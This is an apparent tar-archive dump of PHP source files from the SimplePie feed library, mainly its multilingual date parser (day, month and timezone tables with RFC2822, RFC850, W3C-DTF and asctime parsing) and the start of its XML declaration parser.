"&#x2033;"> <!ENTITY lsaquo "&#x2039;"> <!ENTITY rsaquo "&#x203A;"> <!ENTITY oline "&#x203E;"> <!ENTITY frasl "&#x2044;"> <!ENTITY euro "&#x20AC;"> <!ENTITY image "&#x2111;"> <!ENTITY weierp "&#x2118;"> <!ENTITY real "&#x211C;"> <!ENTITY trade "&#x2122;"> <!ENTITY alefsym "&#x2135;"> <!ENTITY larr "&#x2190;"> <!ENTITY uarr "&#x2191;"> <!ENTITY rarr "&#x2192;"> <!ENTITY darr "&#x2193;"> <!ENTITY harr "&#x2194;"> <!ENTITY crarr "&#x21B5;"> <!ENTITY lArr "&#x21D0;"> <!ENTITY uArr "&#x21D1;"> <!ENTITY rArr "&#x21D2;"> <!ENTITY dArr "&#x21D3;"> <!ENTITY hArr "&#x21D4;"> <!ENTITY forall "&#x2200;"> <!ENTITY part "&#x2202;"> <!ENTITY exist "&#x2203;"> <!ENTITY empty "&#x2205;"> <!ENTITY nabla "&#x2207;"> <!ENTITY isin "&#x2208;"> <!ENTITY notin "&#x2209;"> <!ENTITY ni "&#x220B;"> <!ENTITY prod "&#x220F;"> <!ENTITY sum "&#x2211;"> <!ENTITY minus "&#x2212;"> <!ENTITY lowast "&#x2217;"> <!ENTITY radic "&#x221A;"> <!ENTITY prop "&#x221D;"> <!ENTITY infin "&#x221E;"> <!ENTITY ang "&#x2220;"> <!ENTITY and "&#x2227;"> <!ENTITY or "&#x2228;"> <!ENTITY cap "&#x2229;"> <!ENTITY cup "&#x222A;"> <!ENTITY int "&#x222B;"> <!ENTITY there4 "&#x2234;"> <!ENTITY sim "&#x223C;"> <!ENTITY cong "&#x2245;"> <!ENTITY asymp "&#x2248;"> <!ENTITY ne "&#x2260;"> <!ENTITY equiv "&#x2261;"> <!ENTITY le "&#x2264;"> <!ENTITY ge "&#x2265;"> <!ENTITY sub "&#x2282;"> <!ENTITY sup "&#x2283;"> <!ENTITY nsub "&#x2284;"> <!ENTITY sube "&#x2286;"> <!ENTITY supe "&#x2287;"> <!ENTITY oplus "&#x2295;"> <!ENTITY otimes "&#x2297;"> <!ENTITY perp "&#x22A5;"> <!ENTITY sdot "&#x22C5;"> <!ENTITY lceil "&#x2308;"> <!ENTITY rceil "&#x2309;"> <!ENTITY lfloor "&#x230A;"> <!ENTITY rfloor "&#x230B;"> <!ENTITY lang "&#x2329;"> <!ENTITY rang "&#x232A;"> <!ENTITY loz "&#x25CA;"> <!ENTITY spades "&#x2660;"> <!ENTITY clubs "&#x2663;"> <!ENTITY hearts "&#x2665;"> <!ENTITY diams "&#x2666;"> ]>';
    }
}

class_alias('SimplePie\Parser', 'SimplePie_Parser');
src/Parse/Date.php000064400000064345151024210710010000 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\Parse;

/**
 * Date Parser
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class Date
{
    /**
     * Input data
     *
     * @access protected
     * @var string
     */
    public $date;

    /**
     * List of days, calendar day name => ordinal day number in the week
     *
     * @access protected
     * @var array
     */
    public $day = [
        // English
        'mon' => 1,
        'monday' => 1,
        'tue' => 2,
        'tuesday' => 2,
        'wed' => 3,
        'wednesday' => 3,
        'thu' => 4,
        'thursday' => 4,
        'fri' => 5,
        'friday' => 5,
        'sat' => 6,
        'saturday' => 6,
        'sun' => 7,
        'sunday' => 7,
        // Dutch
        'maandag' => 1,
        'dinsdag' => 2,
        'woensdag' => 3,
        'donderdag' => 4,
        'vrijdag' => 5,
        'zaterdag' => 6,
        'zondag' => 7,
        // French
        'lundi' => 1,
        'mardi' => 2,
        'mercredi' => 3,
        'jeudi' => 4,
        'vendredi' => 5,
        'samedi' => 6,
        'dimanche' => 7,
        // German
        'montag' => 1,
        'mo' => 1,
        'dienstag' => 2,
        'di' => 2,
        'mittwoch' => 3,
        'mi' => 3,
        'donnerstag' => 4,
        'do' => 4,
        'freitag' => 5,
        'fr' => 5,
        'samstag' => 6,
        'sa' => 6,
        'sonnabend' => 6,
        // AFAIK no short form for sonnabend
        'so' => 7,
        'sonntag' => 7,
        // Italian
        'lunedì' => 1,
        'martedì' => 2,
        'mercoledì' => 3,
        'giovedì' => 4,
        'venerdì' => 5,
        'sabato' => 6,
        'domenica' => 7,
        // Spanish
        'lunes' => 1,
        'martes' => 2,
        'miércoles' => 3,
        'jueves' => 4,
        'viernes' => 5,
        'sábado' => 6,
        'domingo' => 7,
        // Finnish
        'maanantai' => 1,
        'tiistai' => 2,
        'keskiviikko' => 3,
        'torstai' => 4,
        'perjantai' => 5,
        'lauantai' => 6,
        'sunnuntai' => 7,
        // Hungarian
        'hétfő' => 1,
        'kedd' => 2,
        'szerda' => 3,
        'csütörtok' => 4,
        'péntek' => 5,
        'szombat' => 6,
        'vasárnap' => 7,
        // Greek
        'Δευ' => 1,
        'Τρι' => 2,
        'Τετ' => 3,
        'Πεμ' => 4,
        'Παρ' => 5,
        'Σαβ' => 6,
        'Κυρ' => 7,
        // Russian
        'Пн.' => 1,
        'Вт.' => 2,
        'Ср.' => 3,
        'Чт.' => 4,
        'Пт.' => 5,
        'Сб.' => 6,
        'Вс.' => 7,
    ];

    /**
     * List of months, calendar month name => calendar month number
     *
     * @access protected
     * @var array
     */
    public $month = [
        // English
        'jan' => 1,
        'january' => 1,
        'feb' => 2,
        'february' => 2,
        'mar' => 3,
        'march' => 3,
        'apr' => 4,
        'april' => 4,
        'may' => 5,
        // No long form of May
        'jun' => 6,
        'june' => 6,
        'jul' => 7,
        'july' => 7,
        'aug' => 8,
        'august' => 8,
        'sep' => 9,
        'september' => 9,
        'oct' => 10,
        'october' => 10,
        'nov' => 11,
        'november' => 11,
        'dec' => 12,
        'december' => 12,
        // Dutch
        'januari' => 1,
        'februari' => 2,
        'maart' => 3,
        'april' => 4,
        'mei' => 5,
        'juni' => 6,
        'juli' => 7,
        'augustus' => 8,
        'september' => 9,
        'oktober' => 10,
        'november' => 11,
        'december' => 12,
        // French
        'janvier' => 1,
        'février' => 2,
        'mars' => 3,
        'avril' => 4,
        'mai' => 5,
        'juin' => 6,
        'juillet' => 7,
        'août' => 8,
        'septembre' => 9,
        'octobre' => 10,
        'novembre' => 11,
        'décembre' => 12,
        // German
        'januar' => 1,
        'jan' => 1,
        'februar' => 2,
        'feb' => 2,
        'märz' => 3,
        'mär' => 3,
        'april' => 4,
        'apr' => 4,
        'mai' => 5, // no short form for may
        'juni' => 6,
        'jun' => 6,
        'juli' => 7,
        'jul' => 7,
        'august' => 8,
        'aug' => 8,
        'september' => 9,
        'sep' => 9,
        'oktober' => 10,
        'okt' => 10,
        'november' => 11,
        'nov' => 11,
        'dezember' => 12,
        'dez' => 12,
        // Italian
        'gennaio' => 1,
        'febbraio' => 2,
        'marzo' => 3,
        'aprile' => 4,
        'maggio' => 5,
        'giugno' => 6,
        'luglio' => 7,
        'agosto' => 8,
        'settembre' => 9,
        'ottobre' => 10,
        'novembre' => 11,
        'dicembre' => 12,
        // Spanish
        'enero' => 1,
        'febrero' => 2,
        'marzo' => 3,
        'abril' => 4,
        'mayo' => 5,
        'junio' => 6,
        'julio' => 7,
        'agosto' => 8,
        'septiembre' => 9,
        'setiembre' => 9,
        'octubre' => 10,
        'noviembre' => 11,
        'diciembre' => 12,
        // Finnish
        'tammikuu' => 1,
        'helmikuu' => 2,
        'maaliskuu' => 3,
        'huhtikuu' => 4,
        'toukokuu' => 5,
        'kesäkuu' => 6,
        'heinäkuu' => 7,
        'elokuu' => 8,
        'suuskuu' => 9,
        'lokakuu' => 10,
        'marras' => 11,
        'joulukuu' => 12,
        // Hungarian
        'január' => 1,
        'február' => 2,
        'március' => 3,
        'április' => 4,
        'május' => 5,
        'június' => 6,
        'július' => 7,
        'augusztus' => 8,
        'szeptember' => 9,
        'október' => 10,
        'november' => 11,
        'december' => 12,
        // Greek
        'Ιαν' => 1,
        'Φεβ' => 2,
        'Μάώ' => 3,
        'Μαώ' => 3,
        'Απρ' => 4,
        'Μάι' => 5,
        'Μαϊ' => 5,
        'Μαι' => 5,
        'Ιούν' => 6,
        'Ιον' => 6,
        'Ιούλ' => 7,
        'Ιολ' => 7,
        'Αύγ' => 8,
        'Αυγ' => 8,
        'Σεπ' => 9,
        'Οκτ' => 10,
        'Νοέ' => 11,
        'Δεκ' => 12,
        // Russian
        'Янв' => 1,
        'января' => 1,
        'Фев' => 2,
        'февраля' => 2,
        'Мар' => 3,
        'марта' => 3,
        'Апр' => 4,
        'апреля' => 4,
        'Май' => 5,
        'мая' => 5,
        'Июн' => 6,
        'июня' => 6,
        'Июл' => 7,
        'июля' => 7,
        'Авг' => 8,
        'августа' => 8,
        'Сен' => 9,
        'сентября' => 9,
        'Окт' => 10,
        'октября' => 10,
        'Ноя' => 11,
        'ноября' => 11,
        'Дек' => 12,
        'декабря' => 12,

    ];

    /**
     * List of timezones, abbreviation => offset from UTC
     *
     * @access protected
     * @var array
     */
    public $timezone = [
        'ACDT' => 37800,
        'ACIT' => 28800,
        'ACST' => 34200,
        'ACT' => -18000,
        'ACWDT' => 35100,
        'ACWST' => 31500,
        'AEDT' => 39600,
        'AEST' => 36000,
        'AFT' => 16200,
        'AKDT' => -28800,
        'AKST' => -32400,
        'AMDT' => 18000,
        'AMT' => -14400,
        'ANAST' => 46800,
        'ANAT' => 43200,
        'ART' => -10800,
        'AZOST' => -3600,
        'AZST' => 18000,
        'AZT' => 14400,
        'BIOT' => 21600,
        'BIT' => -43200,
        'BOT' => -14400,
        'BRST' => -7200,
        'BRT' => -10800,
        'BST' => 3600,
        'BTT' => 21600,
        'CAST' => 18000,
        'CAT' => 7200,
        'CCT' => 23400,
        'CDT' => -18000,
        'CEDT' => 7200,
        'CEST' => 7200,
        'CET' => 3600,
        'CGST' => -7200,
        'CGT' => -10800,
        'CHADT' => 49500,
        'CHAST' => 45900,
        'CIST' => -28800,
        'CKT' => -36000,
        'CLDT' => -10800,
        'CLST' => -14400,
        'COT' => -18000,
        'CST' => -21600,
        'CVT' => -3600,
        'CXT' => 25200,
        'DAVT' => 25200,
        'DTAT' => 36000,
        'EADT' => -18000,
        'EAST' => -21600,
        'EAT' => 10800,
        'ECT' => -18000,
        'EDT' => -14400,
        'EEST' => 10800,
        'EET' => 7200,
        'EGT' => -3600,
        'EKST' => 21600,
        'EST' => -18000,
        'FJT' => 43200,
        'FKDT' => -10800,
        'FKST' => -14400,
        'FNT' => -7200,
        'GALT' => -21600,
        'GEDT' => 14400,
        'GEST' => 10800,
        'GFT' => -10800,
        'GILT' => 43200,
        'GIT' => -32400,
        'GST' => 14400,
        'GST' => -7200,
        'GYT' => -14400,
        'HAA' => -10800,
        'HAC' => -18000,
        'HADT' => -32400,
        'HAE' => -14400,
        'HAP' => -25200,
        'HAR' => -21600,
        'HAST' => -36000,
        'HAT' => -9000,
        'HAY' => -28800,
        'HKST' => 28800,
        'HMT' => 18000,
        'HNA' => -14400,
        'HNC' => -21600,
        'HNE' => -18000,
        'HNP' => -28800,
        'HNR' => -25200,
        'HNT' => -12600,
        'HNY' => -32400,
        'IRDT' => 16200,
        'IRKST' => 32400,
        'IRKT' => 28800,
        'IRST' => 12600,
        'JFDT' => -10800,
        'JFST' => -14400,
        'JST' => 32400,
        'KGST' => 21600,
        'KGT' => 18000,
        'KOST' => 39600,
        'KOVST' => 28800,
        'KOVT' => 25200,
        'KRAST' => 28800,
        'KRAT' => 25200,
        'KST' => 32400,
        'LHDT' => 39600,
        'LHST' => 37800,
        'LINT' => 50400,
        'LKT' => 21600,
        'MAGST' => 43200,
        'MAGT' => 39600,
        'MAWT' => 21600,
        'MDT' => -21600,
        'MESZ' => 7200,
        'MEZ' => 3600,
        'MHT' => 43200,
        'MIT' => -34200,
        'MNST' => 32400,
        'MSDT' => 14400,
        'MSST' => 10800,
        'MST' => -25200,
        'MUT' => 14400,
        'MVT' => 18000,
        'MYT' => 28800,
        'NCT' => 39600,
        'NDT' => -9000,
        'NFT' => 41400,
        'NMIT' => 36000,
        'NOVST' => 25200,
        'NOVT' => 21600,
        'NPT' => 20700,
        'NRT' => 43200,
        'NST' => -12600,
        'NUT' => -39600,
        'NZDT' => 46800,
        'NZST' => 43200,
        'OMSST' => 25200,
        'OMST' => 21600,
        'PDT' => -25200,
        'PET' => -18000,
        'PETST' => 46800,
        'PETT' => 43200,
        'PGT' => 36000,
        'PHOT' => 46800,
        'PHT' => 28800,
        'PKT' => 18000,
        'PMDT' => -7200,
        'PMST' => -10800,
        'PONT' => 39600,
        'PST' => -28800,
        'PWT' => 32400,
        'PYST' => -10800,
        'PYT' => -14400,
        'RET' => 14400,
        'ROTT' => -10800,
        'SAMST' => 18000,
        'SAMT' => 14400,
        'SAST' => 7200,
        'SBT' => 39600,
        'SCDT' => 46800,
        'SCST' => 43200,
        'SCT' => 14400,
        'SEST' => 3600,
        'SGT' => 28800,
        'SIT' => 28800,
        'SRT' => -10800,
        'SST' => -39600,
        'SYST' => 10800,
        'SYT' => 7200,
        'TFT' => 18000,
        'THAT' => -36000,
        'TJT' => 18000,
        'TKT' => -36000,
        'TMT' => 18000,
        'TOT' => 46800,
        'TPT' => 32400,
        'TRUT' => 36000,
        'TVT' => 43200,
        'TWT' => 28800,
        'UYST' => -7200,
        'UYT' => -10800,
        'UZT' => 18000,
        'VET' => -14400,
        'VLAST' => 39600,
        'VLAT' => 36000,
        'VOST' => 21600,
        'VUT' => 39600,
        'WAST' => 7200,
        'WAT' => 3600,
        'WDT' => 32400,
        'WEST' => 3600,
        'WFT' => 43200,
        'WIB' => 25200,
        'WIT' => 32400,
        'WITA' => 28800,
        'WKST' => 18000,
        'WST' => 28800,
        'YAKST' => 36000,
        'YAKT' => 32400,
        'YAPT' => 36000,
        'YEKST' => 21600,
        'YEKT' => 18000,
    ];

    /**
     * Cached PCRE for Date::$day
     *
     * @access protected
     * @var string
     */
    public $day_pcre;

    /**
     * Cached PCRE for Date::$month
     *
     * @access protected
     * @var string
     */
    public $month_pcre;

    /**
     * Array of user-added callback methods
     *
     * @access private
     * @var array
     */
    public $built_in = [];

    /**
     * Array of user-added callback methods
     *
     * @access private
     * @var array
     */
    public $user = [];

    /**
     * Create new Date object, and set self::day_pcre,
     * self::month_pcre, and self::built_in
     *
     * @access private
     */
    public function __construct()
    {
        $this->day_pcre = '(' . implode('|', array_keys($this->day)) . ')';
        $this->month_pcre = '(' . implode('|', array_keys($this->month)) . ')';

        static $cache;
        if (!isset($cache[get_class($this)])) {
            $all_methods = get_class_methods($this);

            foreach ($all_methods as $method) {
                if (strtolower(substr($method, 0, 5)) === 'date_') {
                    $cache[get_class($this)][] = $method;
                }
            }
        }

        foreach ($cache[get_class($this)] as $method) {
            $this->built_in[] = $method;
        }
    }

    /**
     * Get the object
     *
     * @access public
     */
    public static function get()
    {
        static $object;
        if (!$object) {
            $object = new Date();
        }
        return $object;
    }

    /**
     * Parse a date
     *
     * @final
     * @access public
     * @param string $date Date to parse
     * @return int Timestamp corresponding to date string, or false on failure
     */
    public function parse($date)
    {
        foreach ($this->user as $method) {
            if (($returned = call_user_func($method, $date)) !== false) {
                return $returned;
            }
        }

        foreach ($this->built_in as $method) {
            if (($returned = call_user_func([$this, $method], $date)) !== false) {
                return $returned;
            }
        }

        return false;
    }

    /**
     * Add a callback method to parse a date
     *
     * @final
     * @access public
     * @param callable $callback
     */
    public function add_callback($callback)
    {
        if (is_callable($callback)) {
            $this->user[] = $callback;
        } else {
            trigger_error('User-supplied function must be a valid callback', E_USER_WARNING);
        }
    }

    /**
     * Parse a superset of W3C-DTF (allows hyphens and colons to be omitted, as
     * well as allowing any of upper or lower case "T", horizontal tabs, or
     * spaces to be used as the time separator (including more than one))
     *
     * @access protected
     * @return int Timestamp
     */
    public function date_w3cdtf($date)
    {
        $pcre = <<<'PCRE'
            /
            ^
            (?P<year>[0-9]{4})
            (?:
                -?
                (?P<month>[0-9]{2})
                (?:
                    -?
                    (?P<day>[0-9]{2})
                    (?:
                        [Tt\x09\x20]+
                        (?P<hour>[0-9]{2})
                        (?:
                            :?
                            (?P<minute>[0-9]{2})
                            (?:
                                :?
                                (?P<second>[0-9]{2})
                                (?:
                                    .
                                    (?P<second_fraction>[0-9]*)
                                )?
                            )?
                        )?
                        (?:
                            (?P<zulu>Z)
                            |   (?P<tz_sign>[+\-])
                                (?P<tz_hour>[0-9]{1,2})
                                :?
                                (?P<tz_minute>[0-9]{1,2})
                        )
                    )?
                )?
            )?
            $
            /x
PCRE;
        if (preg_match($pcre, $date, $match)) {
            // Fill in empty matches and convert to proper types.
            $year = (int) $match['year'];
            $month = isset($match['month']) ? (int) $match['month'] : 1;
            $day = isset($match['day']) ? (int) $match['day'] : 1;
            $hour = isset($match['hour']) ? (int) $match['hour'] : 0;
            $minute = isset($match['minute']) ? (int) $match['minute'] : 0;
            $second = isset($match['second']) ? (int) $match['second'] : 0;
            $second_fraction = isset($match['second_fraction']) ? ((int) $match['second_fraction']) / (10 ** strlen($match['second_fraction'])) : 0;
            $tz_sign = ($match['tz_sign'] ?? '') === '-' ? -1 : 1;
            $tz_hour = isset($match['tz_hour']) ? (int) $match['tz_hour'] : 0;
            $tz_minute = isset($match['tz_minute']) ? (int) $match['tz_minute'] : 0;

            // Numeric timezone
            $timezone = $tz_hour * 3600;
            $timezone += $tz_minute * 60;
            $timezone *= $tz_sign;

            // Convert the number of seconds to an integer, taking decimals into account
            $second = (int) round($second + $second_fraction);

            return gmmktime($hour, $minute, $second, $month, $day, $year) - $timezone;
        }

        return false;
    }

    /**
     * Remove RFC822 comments
     *
     * @access protected
     * @param string $data Data to strip comments from
     * @return string Comment stripped string
     */
    public function remove_rfc2822_comments($string)
    {
        $string = (string) $string;
        $position = 0;
        $length = strlen($string);
        $depth = 0;

        $output = '';

        while ($position < $length && ($pos = strpos($string, '(', $position)) !== false) {
            $output .= substr($string, $position, $pos - $position);
            $position = $pos + 1;
            if ($pos === 0 || $string[$pos - 1] !== '\\') {
                $depth++;
                while ($depth && $position < $length) {
                    $position += strcspn($string, '()', $position);
                    if ($string[$position - 1] === '\\') {
                        $position++;
                        continue;
                    } elseif (isset($string[$position])) {
                        switch ($string[$position]) {
                            case '(':
                                $depth++;
                                break;

                            case ')':
                                $depth--;
                                break;
                        }
                        $position++;
                    } else {
                        break;
                    }
                }
            } else {
                $output .= '(';
            }
        }
        $output .= substr($string, $position);

        return $output;
    }

    /**
     * Parse RFC2822's date format
     *
     * @access protected
     * @return int Timestamp
     */
    public function date_rfc2822($date)
    {
        static $pcre;
        if (!$pcre) {
            $wsp = '[\x09\x20]';
            $fws = '(?:' . $wsp . '+|' . $wsp . '*(?:\x0D\x0A' . $wsp . '+)+)';
            $optional_fws = $fws . '?';
            $day_name = $this->day_pcre;
            $month = $this->month_pcre;
            $day = '([0-9]{1,2})';
            $hour = $minute = $second = '([0-9]{2})';
            $year = '([0-9]{2,4})';
            $num_zone = '([+\-])([0-9]{2})([0-9]{2})';
            $character_zone = '([A-Z]{1,5})';
            $zone = '(?:' . $num_zone . '|' . $character_zone . ')';
            $pcre = '/(?:' . $optional_fws . $day_name . $optional_fws . ',)?' . $optional_fws . $day . $fws . $month . $fws . $year . $fws . $hour . $optional_fws . ':' . $optional_fws . $minute . '(?:' . $optional_fws . ':' . $optional_fws . $second . ')?' . $fws . $zone . '/i';
        }
        if (preg_match($pcre, $this->remove_rfc2822_comments($date), $match)) {
            /*
            Capturing subpatterns:
            1: Day name
            2: Day
            3: Month
            4: Year
            5: Hour
            6: Minute
            7: Second
            8: Timezone ±
            9: Timezone hours
            10: Timezone minutes
            11: Alphabetic timezone
            */

            // Find the month number
            $month = $this->month[strtolower($match[3])];

            // Numeric timezone
            if ($match[8] !== '') {
                $timezone = $match[9] * 3600;
                $timezone += $match[10] * 60;
                if ($match[8] === '-') {
                    $timezone = 0 - $timezone;
                }
            }
            // Character timezone
            elseif (isset($this->timezone[strtoupper($match[11])])) {
                $timezone = $this->timezone[strtoupper($match[11])];
            }
            // Assume everything else to be -0000
            else {
                $timezone = 0;
            }

            // Deal with 2/3 digit years
            if ($match[4] < 50) {
                $match[4] += 2000;
            } elseif ($match[4] < 1000) {
                $match[4] += 1900;
            }

            // Second is optional, if it is empty set it to zero
            if ($match[7] !== '') {
                $second = $match[7];
            } else {
                $second = 0;
            }

            return gmmktime(intval($match[5]), intval($match[6]), intval($second), intval($month), intval($match[2]), intval($match[4])) - $timezone;
        }

        return false;
    }

    /**
     * Parse RFC850's date format
     *
     * @access protected
     * @return int Timestamp
     */
    public function date_rfc850($date)
    {
        static $pcre;
        if (!$pcre) {
            $space = '[\x09\x20]+';
            $day_name = $this->day_pcre;
            $month = $this->month_pcre;
            $day = '([0-9]{1,2})';
            $year = $hour = $minute = $second = '([0-9]{2})';
            $zone = '([A-Z]{1,5})';
            $pcre = '/^' . $day_name . ',' . $space . $day . '-' . $month . '-' . $year . $space . $hour . ':' . $minute . ':' . $second . $space . $zone . '$/i';
        }
        if (preg_match($pcre, $date, $match)) {
            /*
            Capturing subpatterns:
            1: Day name
            2: Day
            3: Month
            4: Year
            5: Hour
            6: Minute
            7: Second
            8: Timezone
            */

            // Month
            $month = $this->month[strtolower($match[3])];

            // Character timezone
            if (isset($this->timezone[strtoupper($match[8])])) {
                $timezone = $this->timezone[strtoupper($match[8])];
            }
            // Assume everything else to be -0000
            else {
                $timezone = 0;
            }

            // Deal with 2 digit year
            if ($match[4] < 50) {
                $match[4] += 2000;
            } else {
                $match[4] += 1900;
            }

            return gmmktime($match[5], $match[6], $match[7], $month, $match[2], $match[4]) - $timezone;
        }

        return false;
    }

    /**
     * Parse C99's asctime()'s date format
     *
     * @access protected
     * @return int Timestamp
     */
    public function date_asctime($date)
    {
        static $pcre;
        if (!$pcre) {
            $space = '[\x09\x20]+';
            $wday_name = $this->day_pcre;
            $mon_name = $this->month_pcre;
            $day = '([0-9]{1,2})';
            $hour = $sec = $min = '([0-9]{2})';
            $year = '([0-9]{4})';
            $terminator = '\x0A?\x00?';
            $pcre = '/^' . $wday_name . $space . $mon_name . $space . $day . $space . $hour . ':' . $min . ':' . $sec . $space . $year . $terminator . '$/i';
        }
        if (preg_match($pcre, $date, $match)) {
            /*
            Capturing subpatterns:
            1: Day name
            2: Month
            3: Day
            4: Hour
            5: Minute
            6: Second
            7: Year
            */

            $month = $this->month[strtolower($match[2])];
            return gmmktime((int) $match[4], (int) $match[5], (int) $match[6], $month, (int) $match[3], (int) $match[7]);
        }

        return false;
    }

    /**
     * Parse dates using strtotime()
     *
     * @access protected
     * @return int Timestamp
     */
    public function date_strtotime($date)
    {
        $strtotime = strtotime($date);
        if ($strtotime === -1 || $strtotime === false) {
            return false;
        }

        return $strtotime;
    }
}

class_alias('SimplePie\Parse\Date', 'SimplePie_Parse_Date');
src/XML/Declaration/Parser.php000064400000022353151024210710012163 0ustar00<?php

/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */

namespace SimplePie\XML\Declaration;

/**
 * Parses the XML Declaration
 *
 * @package SimplePie
 * @subpackage Parsing
 */
class Parser
{
    /**
     * XML Version
     *
     * @access public
     * @var string
     */
    public $version = '1.0';

    /**
     * Encoding
     *
     * @access public
     * @var string
     */
    public $encoding = 'UTF-8';

    /**
     * Standalone
     *
     * @access public
     * @var bool
     */
    public $standalone = false;

    private const STATE_BEFORE_VERSION_NAME = 'before_version_name';

    private const STATE_VERSION_NAME = 'version_name';

    private const STATE_VERSION_EQUALS = 'version_equals';

    private const STATE_VERSION_VALUE = 'version_value';

    private const STATE_ENCODING_NAME = 'encoding_name';

    private const STATE_EMIT = 'emit';

    private const STATE_ENCODING_EQUALS = 'encoding_equals';

    private const STATE_STANDALONE_NAME = 'standalone_name';

    private const STATE_ENCODING_VALUE = 'encoding_value';

    private const STATE_STANDALONE_EQUALS = 'standalone_equals';

    private const STATE_STANDALONE_VALUE = 'standalone_value';

    private const STATE_ERROR = false;

    /**
     * Current state of the state machine
     *
     * @access private
     * @var self::STATE_*
     */
    public $state = self::STATE_BEFORE_VERSION_NAME;

    /**
     * Input data
     *
     * @access private
     * @var string
     */
    public $data = '';

    /**
     * Input data length (to avoid calling strlen() everytime this is needed)
     *
     * @access private
     * @var int
     */
    public $data_length = 0;

    /**
     * Current position of the pointer
     *
     * @var int
     * @access private
     */
    public $position = 0;

    /**
     * Create an instance of the class with the input data
     *
     * @access public
     * @param string $data Input data
     */
    public function __construct($data)
    {
        $this->data = $data;
        $this->data_length = strlen($this->data);
    }

    /**
     * Parse the input data
     *
     * @access public
     * @return bool true on success, false on failure
     */
    public function parse()
    {
        while ($this->state && $this->state !== self::STATE_EMIT && $this->has_data()) {
            $state = $this->state;
            $this->$state();
        }
        $this->data = '';
        if ($this->state === self::STATE_EMIT) {
            return true;
        }

        $this->version = '';
        $this->encoding = '';
        $this->standalone = '';
        return false;
    }

    /**
     * Check whether there is data beyond the pointer
     *
     * @access private
     * @return bool true if there is further data, false if not
     */
    public function has_data()
    {
        return (bool) ($this->position < $this->data_length);
    }

    /**
     * Advance past any whitespace
     *
     * @return int Number of whitespace characters passed
     */
    public function skip_whitespace()
    {
        $whitespace = strspn($this->data, "\x09\x0A\x0D\x20", $this->position);
        $this->position += $whitespace;
        return $whitespace;
    }

    /**
     * Read value
     */
    public function get_value()
    {
        $quote = substr($this->data, $this->position, 1);
        if ($quote === '"' || $quote === "'") {
            $this->position++;
            $len = strcspn($this->data, $quote, $this->position);
            if ($this->has_data()) {
                $value = substr($this->data, $this->position, $len);
                $this->position += $len + 1;
                return $value;
            }
        }
        return false;
    }

    public function before_version_name()
    {
        if ($this->skip_whitespace()) {
            $this->state = self::STATE_VERSION_NAME;
        } else {
